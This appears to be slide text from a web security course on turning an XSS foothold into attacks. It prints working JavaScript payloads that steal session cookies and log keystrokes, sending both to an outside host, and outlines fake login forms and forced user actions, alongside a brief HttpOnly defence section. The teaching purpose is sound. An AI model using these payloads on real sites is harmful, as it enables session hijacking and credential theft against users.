
X86
ADVANCED
PAYLOADS

So you have script execution

- Now the weaponizing phase begins
- Identify the assets you want to get access to
- Identify the interactions you want to force the user to perform
- Most common attacks are:
  - Exfiltrating data and/or cookies
  - Inducing user interactions
  - Fake login forms
  - Keylogging

Exfiltrating Cookies

- A user's session cookie is like their ID badge, authenticating their requests to the server
- If the session cookie can be stolen then the thief can impersonate the user
- Cookies can be accessed via JavaScript call to document.cookies
- If an outbound request can be made containing the contents of the cookies then the server receiving the request has the cookies

PoC

- http://r7.io/exfil_create to get a token
- http://r7.io/e/[token]?s=[data] to save the exfiltrated data
- http://r7.io/e/[token] to access the exfiltrated data

```
<script>
    i = new Image();
    i.src='http://r7.io/e/LYddhj5f8X?s='+document.cookie;
</script>
```

Session Sidejacking Demo

Protecting Cookies

- HttpOnly flag
- Informs the browser that JavaScript should not be able to access to the cookie
- Browser enforced protection
- Set when the cookie is set

```
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
Set-Cookie: ASP.NET_SessionId=ig2fac55; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
Set-Cookie: user=t=bfabf0b1c1133a822; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Tue, 26 Aug 2008 10:51:08 GMT
```

Exfiltrating User Data

- Same principles as exfiltrating cookies
- Grab something from the current page and send it to the remote server
- Grab something from another page via AJAX call and send it to the remote server
- No HttpOnly protections for regular data
- Anything the user can access without password re-prompt is accessible to the JS

Can you think of some things worth exfiltrating from sites you commonly use?

Unintended User Interaction

- With requests coming from the same domain and with a valid session from the victim user you can:
  - Delete accounts
  - Purchase things
  - Add/remove friends
  - Grant/deny access/permissions to other users
  - Can you think of anything else

Fake Login Forms

- JavaScript can be used to build a fake login form on the page
- JavaScript can be used to redirect someone to your server hosting the fake login page
- If the XSS is on the login page then simply change where the form submits to
- Can you think of any improvements to these ideas?

Keylogging

```
<script>
    var keys = '';

    document.onkeypress = function(e) {
        var get = window.event ? event : e;
        var key = get.keyCode ? get.keyCode : get.charCode;
        key = String.fromCharCode(key);
        keys += key;
    }

    window.setInterval(function(){
        new Image().src = 'http://r7.io/k/?c=' + keys;
        keys = '';
    }, 1000);
</script>
```

Demo:

- <script src="http://xss-challenges.r7.io/static/keylogger0.js"></script>
- <script src="http://xss-challenges.r7.io/static/keylogger1.js"></script>

Source:

- http://wiremask.eu/xss-keylogger/

Other Tricks

- Stealing passwords from a password manager
- Client-side browser exploits
- BeEF framework
- Fingerprinting users